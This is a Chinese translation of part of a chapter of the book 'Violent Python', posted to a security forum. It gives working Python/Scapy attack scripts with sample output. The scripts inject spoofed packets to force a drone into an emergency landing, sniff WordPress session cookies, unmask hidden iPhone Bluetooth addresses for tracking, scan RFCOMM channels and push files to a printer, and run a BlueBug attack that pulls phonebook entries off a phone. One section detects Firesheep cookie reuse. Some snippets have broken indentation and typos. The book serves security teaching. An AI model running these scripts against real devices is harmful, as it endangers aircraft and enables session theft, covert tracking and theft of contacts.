《Violent Python》第五章Wireless Mayhem with Python (2)中文版(乌云python,英文爱好者翻译)

crown丶prince (我用双手成就你的梦想) | 2015-10-25 17:11

连载介绍信息:http://zone.wooyun.org/content/23138

原作者:Chris Katsaropoulos

第一译者:@草帽小子-DJ

第二译者:crown丶prince

用Scapy制作802.11数据帧

接下来,我们要制作一个包含无人机指令的新的数据包。然而,为了做到这一点,我们需要共当前的数据帧中复制一些必要的信息。因为数据包包含RadioTap, 802.11, SNAP, LLC, IP, and UDP层,我们需要从各个层中复制字段。Scapy对每一层都有很好的支持,例如,看看Dot11层,我们开始Scapy然后执行ls(Dot11)命令,我们会看到我们需要复制到我们伪造的数据包中的字段。

attacker# scapy

Welcome to Scapy (2.1.0)

>>>ls(Dot11)

subtype : BitField             = (0)

type : BitEnumField           = (0)

proto : BitField               = (0)

FCfield : FlagsField            = (0)

ID : ShortField                = (0)

addr1 : MACField             = ('00:00:00:00:00:00')

addr2 : Dot11Addr2MACField   = ('00:00:00:00:00:00')

addr3 : Dot11Addr3MACField   = ('00:00:00:00:00:00')

SC : Dot11SCField            = (0)

addr4 : Dot11Addr4MACField   = ('00:00:00:00:00:00')

我们建立我们的新的数据包,复制RadioTap, 802.11, SNAP, LLC, IP 和UDP的没一层的协议。注意,我们在每一层里抛弃一些字段,比如,我们不用复制IP地址字段。我们的命令可能包含不同长度的大小,我们可以让Scapy自动的计算生成数据包,同样,对于一些校验值也是一样。有了这些知识在手,我们现在可以继续我们的无人机攻击了。我们将脚本保存为dup.py,因为它复制了太多的802.11数据帧的字段。

from scapy.all import *

def dupRadio(pkt):

    rPkt=pkt.getlayer(RadioTap)

    version=rPkt.version

    pad=rPkt.pad

    present=rPkt.present

    notdecoded=rPkt.notdecoded

    nPkt = RadioTap(version=version, pad=pad, present=present, notdecoded=notdecoded)

    return nPk

def dupDot11(pkt):

    dPkt=pkt.getlayer(Dot11)

    subtype=dPkt.subtype

    Type=dPkt.type

    proto=dPkt.proto

    FCfield=dPkt.FCfield

    ID=dPkt.ID

    addr1=dPkt.addr1

    addr2=dPkt.addr2

    addr3=dPkt.addr3

    SC=dPkt.SC

    addr4=dPkt.addr4

    nPkt=Dot11(subtype=subtype,type=Type,proto=proto,FCfield=FCfield,ID=ID,addr1=addr1,addr2=addr2,addr3=addr3,SC=SC,addr4=addr4)

    return nPkt

def dupSNAP(pkt):

    sPkt=pkt.getlayer(SNAP)

    oui=sPkt.OUI

    code=sPkt.code

    nPkt=SNAP(OUI=oui,code=code)

    return nPkt

def dupLLC(pkt):

    lPkt=pkt.getlayer(LLC)

    dsap=lPkt.dsap

    ssap=lPkt.ssap

    ctrl=lPkt.ctrl

    nPkt=LLC(dsap=dsap,ssap=ssap,ctrl=ctrl)

    return nPkt

def dupIP(pkt):

    iPkt=pkt.getlayer(IP)

    version=iPkt.version

    tos=iPkt.tos

    ID=iPkt.id

    flags=iPkt.flags

    ttl=iPkt.ttl

    proto=iPkt.proto

    src=iPkt.src

    dst=iPkt.dst

    options=iPkt.options

    nPkt=IP(version=version,id=ID,tos=tos,flags=flags,ttl=ttl,proto=proto,src=src,dst=dst,options=options)

    return nPkt

def dupUDP(pkt):

    uPkt=pkt.getlayer(UDP)

    sport=uPkt.sport

    dport=uPkt.dport

    nPkt=UDP(sport=sport,dport=dport)

return nPkt

接下来我们将添加一些新的方法到我们interceptThread类中,叫injectCmd(),这个函数复制当前包中的没一层,然后添加新的指令到UDP层。在创建新的数据包之后,它通过sendp()函数发送命令。

def injectCmd(self, cmd):

    radio = dup.dupRadio(self.curPkt)

    dot11 = dup.dupDot11(self.curPkt)

    snap = dup.dupSNAP(self.curPkt)

    llc = dup.dupLLC(self.curPkt)

    ip = dup.dupIP(self.curPkt)

    udp = dup.dupUDP(self.curPkt)

    raw = Raw(load=cmd)

    injectPkt = radio / dot11 / llc / snap / ip / udp / raw

sendp(injectPkt)

紧急降落是控制无人机的一个重要的指令。者控制无人机停止引擎随时掉到地上,为了执行这个命令,我们将使用当前的序列号并跳100。接下来,我们发送命令AT*COMWDG=$SEQ\r,这个命令重置通讯的序列号,无人机将忽略先前的序命令(比如那些被合法的iPhone发布的命令)。最后,我们发送我们的紧急迫降命令AT*REF=$SEQ, 290717952\r。

EMER = "290717952"

def emergencyland(self):

    spoofSeq = self.seq + 100

    watch = 'AT*COMWDG=%i\r'%spoofSeq

    toCmd = 'AT*REF=%i,%s\r'% (spoofSeq + 1, EMER)

    self.injectCmd(watch)

    self.injectCmd(toCmd)




最终的攻击,紧急迫降无人机


让我们整合我们的代码并进行最后的攻击。首先,我们确保保存生成我们的数据包脚本并导入dup.py,接下来,我们检查我们的主要功能,开始拦截监听流量发现无人机,并提示我们发送紧急迫降指令。不到70行的代码,我们已经成功的拦截的无人机,好极了!感觉对我们的活动有点内疚。下一节中,我们将着重讨论如何识别在加密无线网络上的恶意活动。

# coding=UTF-8

import threading

import dup

from scapy.all import *

conf.iface = 'mon0'

NAVPORT = 5556

LAND = '290717696'

EMER = '290717952'

TAKEOFF = '290718208'

class interceptThread(threading.Thread):

    def __init__(self):

        threading.Thread.__init__(self)

        self.curPkt = None

        self.seq = 0

        self.foundUAV = False

    def run(self):

        sniff(prn=self.interceptPkt, filter='udp port 5556')

    def interceptPkt(self, pkt):

        if self.foundUAV == False:

            print('[*] UAV Found.')

            self.foundUAV = True

            self.curPkt = pkt

            raw = pkt.sprintf('%Raw.load%')

        try:

            self.seq = int(raw.split(',')[0].split('=')[-1]) + 5

        except:

            self.seq = 0

    EMER = "290717952"

    def emergencyland(self):

        spoofSeq = self.seq + 100

        watch = 'AT*COMWDG=%i\r'%spoofSeq

        toCmd = 'AT*REF=%i,%s\r'% (spoofSeq + 1, EMER)

        self.injectCmd(watch)

        self.injectCmd(toCmd)

    def injectCmd(self, cmd):

        radio = dup.dupRadio(self.curPkt)

        dot11 = dup.dupDot11(self.curPkt)

        snap = dup.dupSNAP(self.curPkt)

        llc = dup.dupLLC(self.curPkt)

        ip = dup.dupIP(self.curPkt)

        udp = dup.dupUDP(self.curPkt)

        raw = Raw(load=cmd)

        injectPkt = radio / dot11 / llc / snap / ip / udp / raw

        sendp(injectPkt)

    def takeoff(self):

        spoofSeq = self.seq + 100

        watch = 'AT*COMWDG=%i\r'%spoofSeq

        toCmd = 'AT*REF=%i,%s\r'% (spoofSeq + 1, TAKEOFF)

        self.injectCmd(watch)

        self.injectCmd(toCmd)

def main():

    uavIntercept = interceptThread()

    uavIntercept.start()

    print('[*] Listening for UAV Traffic. Please WAIT...')

    while uavIntercept.foundUAV == False:

        pass

    while True:

        tmp = raw_input('[-] Press ENTER to Emergency Land UAV.')

        uavIntercept.emergencyland()

if __name__ == '__main__':

    main()

检测Firesheep

2010年,Eric Butler开发了一个改变游戏规则的工具,Firesheep。这个工具提供了简单的两个按钮接口用来远程窃取不知情用户的Facebook,Google,Twitter等社交网站上的账户。Eric的Firesheep工具为了得到站点的HTTP Cookies被动的在无线网卡上监听。如果一个用户连接到不安全的网站也没有使用任何服务器控件如HTTPS来保护他的会话,那么攻击者能使用Firesheep拦截cookies并被重用。

Eric提供了一个简单的界面用来建立处理特殊的具体的cookie来捕获重用。注意,下面的对WordPress的处理包含三个函数。首先matchPacket()通过查看正则表达式wordpress_[0-9a-fA-F]{32}来确认cookie,如果函数匹配到了占则表达式,那么processPacket()抽取WordPress的sessionID cookie,最后identifyUser()函数解析登陆到WordPress的用户名,黑客使用这些信息来登陆用户的WordPress。

// Authors:

// Eric Butler <[email protected]>

register({

    name: 'Wordpress',

    matchPacket: function (packet) {

        for (varcookieName in packet.cookies) {

            if (cookieName.match0 {

                return true;

        }

    }

},

processPacket: function () {

    this.siteUrl += 'wp-admin/';

    for (varcookieName in this.firstPacket.cookies) {

        if (cookieName.match(/^wordpress_[0-9a-fA-F]{32}$/)) {

            this.sessionId = this.firstPacket.cookies[cookieName];

                break;

        }

    }

},

identifyUser: function () {

    var resp = this.httpGet(this.siteUrl);

this.userName = resp.body.querySelectorAll('#user_info a')[0].textContent;

this.siteName = 'Wordpress (' + this.firstPacket.host + ')';

    }

});

理解WordPress的Session Cookie

在一个实际的数据包中,这些cookie看起来像下面那些,这里的受害者运行 Safari浏览器连接WordPress在www.violentpython.org。注意,字符串以wordpress_e3b开始包含了受害者的sessionID cookie和用户名。

GET /wordpress/wp-admin/HTTP/1.1

Host: www.violentpython.org

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2)

AppleWebKit/534.52.7 (KHTML, like Gecko) Version/5.1.2 Safari/534.52.7

Accept: */*

Referer: http://www.violentpython.org/wordpress/wp-admin/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

Cookie: wordpress_e3bd8b33fb645122b50046ecbfbeef97=victim%7C1323803979

%7C889eb4e57a3d68265f26b166020f161b; wordpress_logged_in_e3bd8b33fb645

122b50046ecbfbeef97=victim%7C1323803979%7C3255ef169aa649f771587fd128ef

4f57;

wordpress_test_cookie=WP+Cookie+check

Connection: keep-alive

在下图中,一个攻击者在火狐上运行Firesheep工具,识别出相同的字符串发送到未加密的无线网络上。然后他用抽取的凭证登陆到www.violentpython.og上。注意,HTTP GET请求和我们原来的请求一样,有同样的cookie,但是源自不同的浏览器。虽然他不是描述这里,但是值得注意的是请求来自不同的IP地址,攻击者不能和受害者使用相同的机器。

GET /wordpress/wp-admin/ HTTP/1.1

Host: www.violentpython.org

User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.7; en-US;

rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24

Accept: text/html,application/xhtml+xml,application/

xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 115

Connection: keep-alive

Cookie: wordpress_e3bd8b33fb645122b50046ecbfbeef97=victim%7C1323803979

%7C889eb4e57a3d68265f26b166020f161b; wordpress_logged_in_e3bd8b33fb645

122b50046ecbfbeef97=victim%7C1323803979%7C3255ef169aa649f771587fd128ef4f57; wordpress_test_cookie=WP+Cookie+check

集结羊群—捕获WordPress cookie重用

让我们编写一个快速的Python脚本来解析WordPress包含session cookie的HTTP会话。因为这种攻击发生在未加密的会话,我们将过滤通过TCP的80端口的HTTP协议。当我们看到正则表达式匹配WordPress cookie,我们可以打印cookie内容到屏幕上,我们只想看到客户的流量,我们不想打印任何来自客户的包含字符串“set”的cookie。

import re

from scapy.all import *

def fireCatcher(pkt):

    raw = pkt.sprintf('%Raw.load%')

    r = re.findall('wordpress_[0-9a-fA-F]{32}', raw)

    if r and 'Set' not in raw:

        print(pkt.getlayer(IP).src+ ">"+pkt.getlayer(IP).dst+" Cookie:"+r[0])

conf.iface = "mon0"

sniff(filter="tcp port 80",prn=fireCatcher)

运行这个脚本,我们很快识别一些潜在的受害者通过未加密的无线网络连接用标准的HTTP会话连接到WordPress上。当我打印特定的会话cookie到屏幕上时,我么注意到攻击者192.168.1.4重用了来自192.168.1.3的受害者的sessionID cookie。

defender# python fireCatcher.py

192.168.1.3>173.255.226.98

Cookie:wordpress_ e3bd8b33fb645122b50046ecbfbeef97

192.168.1.3>173.255.226.98

Cookie:wordpress_e3bd8b33fb645122b50046ecbfbeef97

192.168.1.4>173.255.226.98

为了检测攻击者使用Firesheep,我们必须看看是否一个攻击者在不同的IP上重用cookie值。为此,我们必须修改我们先前的脚本。现在我们要建立一个Hash表通过sessionID索引cookie。如果我们看到一个WordPress会话,我们可以将值插入到Hash表并存储IP地址。如果我们再一次看到,我们可以比较检验它的值是否和Hash表相冲突。当我们检测到冲突时,我们现在有相同的cookie关联了两个相同的IP地址。在这一点上,我们可以检测到某人试图偷取WorPress的会话并打印在屏幕上。

# coding=UTF-8

__author__ = 'dj'

import optparse

from scapy.all import *

import re

cookieTable = {}

def fireCatcher(pkt):

    raw = pkt.sprintf('%Raw.load%')

    r = re.findall('wordpress_[0-9a-fA-F]{32}', raw)

    if r and 'Set' not in raw:

        if r[0] not in cookieTable.keys():

            cookieTable[r[0]] = pkt.getlayer(IP).src

            print('[+] Detected and indexed cookie.')

        elif cookieTable[r[0]] != pkt.getlayer(IP).src:

            print('[*] Detected Conflict for ' + r[0])

            print('Victim = ' + cookieTable[r[0]])

            print('Attacker = ' + pkt.getlayer(IP).src)

def main():

    parser = optparse.OptionParser("usage %prog -i<interface>")

    parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')

    (options, args) = parser.parse_args()

    if options.interface == None:

        print parser.usage

        exit(0)

    else:

        try:

            conf.iface = options.interface

            sniff(filter='tcp port 80', prn=fireCatcher)

        except KeyboardInterrupt:

            exit(0)

if __name__ == '__main__':

    main()

运行我们的脚本,我们可以确认一个重用来自受害者的WordPress sessionID cookie的黑客正在尝试盗取某人的会话。在这一点上我们已经掌握了用Python嗅探802.11的无线网络。让我们在下一节探究如何用Python攻击蓝牙设备。

defender# python fireCatcher.py

[+] Detected and indexed cookie.

[*] Detected Conflict for:

wordpress_ e3bd8b33fb645122b50046ecbfbeef97

Victim = 192.168.1.3

Attacker = 192.168.1.4

用蓝牙和Python跟踪潜入

研究生的研究有时候是一个艰巨的任务。一个巨大任务的研究需要团队的合作,我发现知道团队人员的位置非常有用。我的研究生的研究围绕着蓝牙协议,它似乎也是保持我团队成员位置的很好的方法。

为了和蓝牙交互,我们要用到PyBluez模块。这个模块扩展了Bluez库提供的利用蓝牙资源的功能。注意,导入我们的蓝牙库后,我们可以简单的利用函数discover_devices()来返回附近发现的蓝牙设备的MAC地址数组。接下来,我们可以换算MAC地址为友好的字符串设备名通过lookup_name()函数。最后我们能打印这些收集设备。

from bluetooth import *

devList = discover_devices()

for device in devList:

    name = str(lookup_name(device))

    print("[+] Found Bluetooth Device " + str(name))

print("[+] MAC address: "+str(device))

让我们继续探究。为此,我们我们将这段代码封装为函数findDevs,并打印我们发现的新设备。我们可以用一个数组alreadyFound来保存已经发现的设备,对于每个发现的设备我们将检查是否已经存在与数组中。如果不存在我们将打印设备名和地址并添加到数组中,在我们的主要的代码中,我们可以创建一个无限循环运行findDevs()然后睡眠5秒。

import time

from bluetooth import *

alreadyFound = []

def findDevs():

    foundDevs = discover_devices(lookup_names=True)

    for (addr, name) in foundDevs:

        if addr not in alreadyFound:

            print('[*] Found Bluetooth Device: ' + str(name))

            print('[+] MAC address: ' + str(addr))

            alreadyFound.append(addr)

while True:

    findDevs()

time.sleep(5)

现在我们运行我们的脚本看看是否能发现附近任何的蓝牙设备。注意,我们发现了一个打印机和一个iPhone。打印输出显示友好的名称并跟着MAC地址。

attacker# python btScan.py

[-] Scanning for Bluetooth Devices.

[*] Found Bluetooth Device: Photosmart 8000 series

[+] MAC address: 00:16:38:DE:AD:11

[-] Scanning for Bluetooth Devices.

[-] Scanning for Bluetooth Devices.

[*] Found Bluetooth Device: TJ iPhone

[+] MAC address: D0:23:DB:DE:AD:02

我们可以写一个简单的函数来提醒我们这些特定的设备在我们附近。请注意,我们将改变我们的原始函数增加参数tgtName,搜索我们的发现列表发现特定设备。

import time

from bluetooth import *

alreadyFound = []

def findDevs():

    foundDevs = discover_devices(lookup_names=True)

    for (addr, name) in foundDevs:

        if addr not in alreadyFound:

            print('[*] Found Bluetooth Device: ' + str(name))

            print('[+] MAC address: ' + str(addr))

            alreadyFound.append(addr)

while True:

    findDevs()

time.sleep(5)

在这一点上,我们有一个改装的工具提醒我们,有一个特定的设备,比如说iPhone,进来了。

attacker# python btFind.py

[-] Scanning for Bluetooth Device: TJ iPhone

[*] Found Target Device TJ iPhone

[+] Time is: 2012-06-24 18:05:49.560055

[+] With MAC Address: D0:23:DB:DE:AD:02

[+] Time is: 2012-06-24 18:06:05.829156

拦截无线流量找到蓝牙地址

然而,这只是解决了一般的问题,我们的脚本只能发现设置为可见的蓝牙设备。一个隐藏的蓝牙设备我们怎么发现它?让我们考虑一下隐藏模式下iPhone蓝牙设备的欺骗性。加1到802.11无线设备的MAC地址来确认iPhone的蓝牙设备的MAC地址。作为802.11无线设备电台的服务没有在第二层控制保护MAC地址,我们可以简单的嗅探它并使用这些信息计算南蓝牙设备的MAC地址。

让我们设置我们的无线设备MAC地址嗅探器。注意我们过滤MAC地址只包含MAC八个字节的前三个字节。前三个字节作为组织唯一标识符(OUI),标识特定的制造商,你可以在http://standards.ieee.org/cgi-bin/ouisearch网站进一步探讨OUI数据库。比如说我们使用OUI d0:23:db(iPhone 4S的OUI),如果你搜索OUI数据库,你能确认该设备属于iPhone。

D0-23-DB (hex)     Apple, Inc.

D023DB (base 16)   Apple, Inc.

                  1 Infinite Loop

                  Cupertino CA 95014

                  UNITED STATES

我们的Python脚本监听802.11数据帧匹配iPhone 4S的MAC地址的前三个字节。如果检测到,它将打印结果在屏幕上并存储802.11的MAC地址。

from scapy.all import *

def wifiPrint(pkt):

    iPhone_OUI = 'd0:23:db'

    if pkt.haslayer(Dot11):

        wifiMAC = pkt.getlayer(Dot11).addr2

        if iPhone_OUI == wifiMAC[:8]:

            print('[*] Detected iPhone MAC: ' + wifiMAC)

conf.iface = 'mon0'

sniff(prn=wifiPrint)

现在我们已经确认了iPhone的802.11无线设备的MAC地址,我们需要构建蓝牙设备的无线设备。我们可以计算蓝牙MAC地址通过802.11无线地址加1。

def retBtAddr(addr):

    btAddr=str(hex(int(addr.replace(':', ''), 16) + 1))[2:]

    btAddr=btAddr[0:2]+":"+btAddr[2:4]+":"+btAddr[4:6]+":" + btAddr[6:8]+":"+btAddr[8:10]+":"+btAddr[10:12]

return btAddr

有了MAC地址,攻击者就可以执行设备名查询这个设备是否真实的存在。即时在隐藏模式下,蓝牙设备任然对名字查询有响应。如果蓝牙设备响应,我们可以打印设备名和MAC地址子屏幕上。有一点需要注意,iPhone设备采用的省电模式,在蓝牙不匹配或者没使用时禁用蓝牙设备。然而,当iPhone配上耳机或者车载免提时在隐藏模式下还是会响应设备名查询的。如果你测试时,脚本似乎不能正确的工作时,试着把你的iPhone和其他设备连在一起。

def checkBluetooth(btAddr):

    btName = lookup_name(btAddr)

    if btName:

        print('[+] Detected Bluetooth Device: ' + btName)

    else:

        print('[-] Failed to Detect Bluetooth Device.')

当我们把所有的代码放在一起时,我们有能力识别iPhone设备隐藏的蓝牙。

# coding=UTF-8

from scapy.all import *

from bluetooth import *

def retBtAddr(addr):

    btAddr=str(hex(int(addr.replace(':', ''), 16) + 1))[2:]

    btAddr=btAddr[0:2]+":"+btAddr[2:4]+":"+btAddr[4:6]+":" + btAddr[6:8]+":"+btAddr[8:10]+":"+btAddr[10:12]

    return btAddr

def checkBluetooth(btAddr):

    btName = lookup_name(btAddr)

    if btName:

        print('[+] Detected Bluetooth Device: ' + btName)

    else:

        print('[-] Failed to Detect Bluetooth Device.')

def wifiPrint(pkt):

    iPhone_OUI = 'd0:23:db'

    if pkt.haslayer(Dot11):

        wifiMAC = pkt.getlayer(Dot11).addr2

        if iPhone_OUI == wifiMAC[:8]:

            print('[*] Detected iPhone MAC: ' + wifiMAC)

            btAddr = retBtAddr(wifiMAC)

            print('[+] Testing Bluetooth MAC: ' + btAddr)

            checkBluetooth(btAddr)

conf.iface = 'mon0'

sniff(prn=wifiPrint)

当我们运行我们的脚本时,我们可以看到,它识别了一个iPhone的802.11无线设备的MAC地址。和它的无线设备。在下一节中,我们将挖掘更深的设备信息,通过扫描各种有关蓝牙的协议和端口。

attacker# python find-my-iphone.py

[*] Detected iPhone MAC: d0:23:db:de:ad:01

[+] Testing Bluetooth MAC: d0:23:db:de:ad:02

[+] Detected Bluetooth Device: TJ’s iPhone

扫描蓝牙的RFCOMM信道

2004年,Herfurt和Laurie展示了一个蓝牙漏洞,他们成为BlueBug。这个漏洞针对蓝牙的RFCOMM传输协议。RFCOMM通过蓝牙的L2CAP协议模拟RS232串口通讯。本质上,这将创建一个蓝牙连接到一个设备,模拟一个简单的串行电缆,允许用户发起电话呼叫,发送短信,阅读通讯录列表转接电话或者通过蓝牙连接到互联网。

RFCOMM提供验证和加密连接的能力。制造商偶尔忽略此功能允许未经认证连接到此设备。Herfurt和Laurie编写了一个工具能连接到未认证的设备信道发送命令控制或者下载设备上的内容。在这节中,我们将编写一个扫瞄器确认未认证的的RFCOMM信道。

看看下面的代码,RFCOMM连接和标准的TCP套接字连接非常的相似。为了连接到一个RFCOMM端口,我们将生成一个RFCOMM类型的蓝牙套接字。接下来我们通过connect()函数,包含目标设备的MAC地址和端口的一个元组。如果我们成功了,我们会知道RFRCOMM信道开放并正在监听。如果函数抛出异常,我们知道我们不能连接到这个端口,我们将重复尝试30个可能的RFCOMM端口进行连接。

from bluetooth import *

def rfcommCon(addr, port):

    sock = BluetoothSocket(RFCOMM)

    try:

        sock.connect((addr, port))

        print('[+] RFCOMM Port ' + str(port) + ' open')

        sock.close()

    except Exception as e:

        print('[-] RFCOMM Port ' + str(port) + ' closed')

for port in range(1, 30):

rfcommCon('00:16:38:DE:AD:11', port)

当我们运行我们的脚本针对附近的打印机,我们看到开放了五个RFCOMM端口。然而,我们没有真正了解这些端口提供了的什么服务。为了了解更多关于这些服务,我们需要使用蓝牙服务发现功能。

attacker# python rfcommScan.py

[+] RFCOMM Port 1 open

[+] RFCOMM Port 2 open

[+] RFCOMM Port 3 open

[+] RFCOMM Port 4 open

[+] RFCOMM Port 5 open

[-] RFCOMM Port 6 closed

[-] RFCOMM Port 7 closed

<..SNIPPED...>

使用蓝牙服务发现协议

蓝牙服务发现协议(SDP)提供了一种简单的方法来来描述和枚举设备提供的蓝牙功能和服务。浏览SDP文件描述了服务在每一个独一无二的蓝牙协议和端口上运行。使用函数find_service()返回了一个记录数组,这些记录包含主机,名称,描述,供应商,协议,端口,服务类,介绍和每个目标蓝牙每一个可用服务的ID,就我们的目的而言,我们的脚本只打印服务名称,协议和端口号。

from bluetooth import *

def sdpBrowse(addr):

    services = find_service(address=addr)

    for service in services:

        name = service['name']

        proto = service['protocol']

        port = str(service['port'])

        print('[+] Found ' + str(name)+' on '+ str(proto) + ':'+port)

sdpBrowse('00:16:38:DE:AD:11')

当我们运行我们的脚本针对我们的打印机蓝牙,我们看到RFCOMM端口2提供OBEX对象推送功能。对象交换服务(OBEX)让我们有类似与FTP匿名登陆的的能力,我们可以匿名的上传和下载文件从系统里面,这可能是打印机上值得进一步研究的东西。

attacker# python sdpScan.py

[+] Found Serial Port on RFCOMM:1

[+] Found OBEX Object Push on RFCOMM:2

[+] Found Basic Imaging on RFCOMM:3

[+] Found Basic Printing on RFCOMM:4

[+] Found Hardcopy Cable Replacement on L2CAP:8193

用Python ObexFTP接管打印机

让我们继续对打印机进行攻击。因为它在RFCOMM的端口2上提供了OBEX服务,让我们尝试推送一个照片上去。我们使用obexftp连接打印机,接着我们从攻击者的主机上发送一个图片给它。当文件传输成功,我们的打印机开始为我们打印图像。这太令人兴奋了!但不一定是危险的,所以我们将继续在下一节中使用这种方法对提供蓝牙的手机实施更致命的攻击。

import obexftp

try:

    btPrinter = obexftp.client(obexftp.BLUETOOTH)

    btPrinter.connect('00:16:38:DE:AD:11', 2)

    btPrinter.put_file('/tmp/ninja.jpg')

    print('[+] Printed Ninja Image.')

except:

print('[-] Failed to print Ninja Image.')

用Python BlueBug手机

在本节中,我们将重现一个最近的手机蓝牙攻击向量。最初被称为BlueBug攻击,该攻击使用未认证的和不安全的连接手机偷取手机的详细信息或者直接向手机发送指令。这个攻击使用RFCOMM信道发送AT命令作为远程控制设备的工具。者允许攻击者读写短信,收集个人信息或者拨打号码。

例如,攻击者可以控制一个诺基亚6310i通过RFCOMM的17信道。在以前这这手机的固件版本,RFCOMM信道17不需要身份验证便可连接,攻击者可以简单的扫描RFCOMM打开的信道发现17信道,连接并且发送AT命令下载电话号。

让我们用Python来重现这次攻击。再一次,我们需要导入Python的BluezAPI模块。确认我们的目标地址和脆弱的RFCOMM端口之后,我们创建一个到开放,未经验证,未加密的连接。使用这个新创建的连接,我们发送一个命令,例如“AT+CPBR=1”来下载通讯录的第一个号码,重复次命令偷取全部的通讯录。

import bluetooth

tgtPhone = 'AA:BB:CC:DD:EE:FF'

port = 17

phoneSock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)

phoneSock.connect((tgtPhone, port))

for contact in range(1, 5):

    atCmd = 'AT+CPBR=' + str(contact) + '\n'

    phoneSock.send(atCmd)

    result = phoneSock.recv(1024)

    print '[+] ' + str(contact) + ': ' + result

phoneSock.close()

针对脆弱的手机运行我们的脚本,我们可以从受害者手机上下载五个联系人的电话号码。不到五十行的代码,我们可以通过蓝牙远程窃取通讯录电话号码。棒极了!

attacker# python bluebug.py

[+] 1: +CPBR: 1,"555-1234",,"Joe Senz"

[+] 2: +CPBR: 2,"555-9999",,"Jason Brown"

[+] 3: +CPBR: 3,"555-7337",,"Glen Godwin"

[+] 4: +CPBR: 4,"555-1111",,"Semion Mogilevich"

[+] 5: +CPBR: 5,"555-8080",,"Robert Fisher

本章总结

恭喜你!在这一章我们已经编写了很多工具,我们可以用它们来设计无线网络和蓝牙设备。我们从通过无线网络截获私人信息开始。接下来,我们研究如何分析802.11无线流量,为了发现首选网络和隐藏的接入点。然后,我们紧急迫降了一个无人机并建立了一个工具识别无线网络黑客工具。对于蓝牙协议,我们我们建立了一个工具来查找蓝牙设备,扫描并渗透攻击了打印机和手机。

希望你喜欢这一章。我喜欢编写这些。下一章,我们将讨论在开源的网络社交媒体上使用Python进行侦查。

译者的话:

《Violent Python》第五章就到此结束了,感谢乌云和乌云的小伙伴们的支持!欢迎大家提供建议。

同时,下周同一时间,请关注我们的《Violent Python》第六章!